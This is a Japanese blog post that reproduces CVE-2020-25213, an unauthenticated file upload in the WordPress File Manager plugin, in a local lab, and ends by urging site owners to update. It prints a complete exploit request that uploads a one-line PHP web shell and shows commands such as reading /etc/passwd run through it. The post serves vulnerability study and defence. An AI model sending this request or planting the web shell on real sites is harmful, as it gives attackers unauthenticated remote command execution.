最近世間では「Zerologon」という脆弱性が全世界で話題です。
色々な検証を行っている人も多いですが、その陰に隠れてしまっている「CVE-2020-25213」の検証を行います。
「Zerologon」の検証ではありませんのでご注意ください。
なお、以前からお伝えしていますが、この記事は悪用を促すものではありませんので、予めご認識ください。
CVE-2020-25213の概要
以下のように記事になっています。
・WP向けプラグイン「File Manager」脆弱性、国内でも悪用被害
上記記事のとおり、WordPressのプラグインである「File Manager」に脆弱性がありました。
このサイトでは外套のプラグインは使用しておりませんが、35万のサイトで使用されているプラグインとのことです。
しかも任意のPHPプログラムが埋め込めるとのことなので、すごい実用的な脆弱性かと思います。
プラグインの使用感はFTPでできることをWordpressのコンテンツで使用している感じですね。
確かにそういった機能はねらい目であることは間違いないです。(脆弱性を見つけるという点ですよ!)
検証環境準備
検証環境についてはサクッと用意しました。
作成したことがない方は以下のサイトが参考になるかと思います。
・Ubuntu 18.04 LTS に WordPress 5.3 をインストール
プラグインについては普通にプラグイン画面から実行すると最新版になってしまうので、古いものをダウンロードしてきます。
ここにアクセスして、以下の箇所をクリックします。
すると上級者向け設定というところで過去のバージョンのダウンロードが行えます。
最新は「6.9」なので、「6.8」が欲しかったのですが、ここでダウンロードできるのは「6.0」までしかなかったので、「6.0」をダウンロードします。
ダウンロードしたファイルを一度解凍すると、「wp-file-manager-6.O.zip」というZIPファイルがありますので、こちらをプラグインから読み込みます。
すると以下のようにバージョン「6.0」の「File Manager」がインストールされます。
インストールに失敗する場合はphp.iniのアップロードのサイズが小さすぎる等があるので、一度設定を確認してみてください。
なお、「更新してくれ」とメッセージが出ていますが、もちろん更新をしてしまうと、最新版が入ってしまい検証ができなくなるので、注意してください。
検証
それでは実際に検証していきます。
すでにgithubにPoCがあるので、確認していきます。
NISTの脆弱性のページでもgithubのリンクが張ってあったので、張りますが、ここからgithubのページに行けます。
ソースは以下のような感じです。
READMEに使い方が詳しく書いていないので、ソースを見てみましたが、特定のURLにマルチパートリクエストを送信する形になっています。
送信後、「/wp-content/plugins/wp-file-manager/lib/files/x.php」ができるので、これにGETパラメータ「cmd」をくっつけて任意のコマンド実行する形になっています。
使ってみると、確かに「x.php」ができていました。
少し気になったので、burpでリクエスト内容を見てみました。
PNGファイルに偽装して、最後にコマンド実行を行うプログラムが仕込まれている形です。
「Content-Type: image/png」となっているのに、実際にアップロードされたファイルは拡張子が優先されphpとして認識されるようです。
検証時にPNGファイルに偽装する必要はないので、もう少し簡単にしてみましょう。
POST /wordpress//wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1 Host: 192.168.163.132 User-Agent: curl/7.68.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: multipart/form-data; boundary=------------------------66e3ca93281c7050 Expect: 100-continue Content-Length: 1694 --------------------------66e3ca93281c7050 Content-Disposition: form-data; name="cmd" upload --------------------------66e3ca93281c7050 Content-Disposition: form-data; name="target" l1_Lw --------------------------66e3ca93281c7050 Content-Disposition: form-data; name="upload[]"; filename="nekosectest.php" Content-Type: image/png <?php system($_GET["cmd"]); ?> --------------------------66e3ca93281c7050--
ファイル名を「nekosectest.php」にして、ファイル内容を偽装しないで、そのままコマンドを実行する形にしました。
これで実行してみます。
すると以下のとおり、「nekosectest.php」ができています。
実際に外套のファイルにGETパラメータとして「cmd=ls」を付与してアクセスしてみると、以下のとおり「ls」の結果が返ります。
プロキシから色々触ってみると、「cat /etc/passwd」も実行できています。
認証をしなくても、バックドアを簡単に仕掛けられる非常にヤバイ脆弱性であることがわかります。
まとめ
CVE-2020-25213の検証を行いました。
バックドアを認証なしで仕掛けることが可能な非常に危険な脆弱性であることがわかります。
WordPressに関しては大体が公開を目的で作成していると思いますので、プラグインが最新版になっていない場合は至急アップロードを行いましょう。
また、その際に怪しいファイルがないかをチェックすることも重要です。
WordPressに関してはプラグインも含め、年に何回かは大き目の脆弱性が見つかるので、自分が持っているサイトがやられないように管理を強化しましょう!
不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。
コメント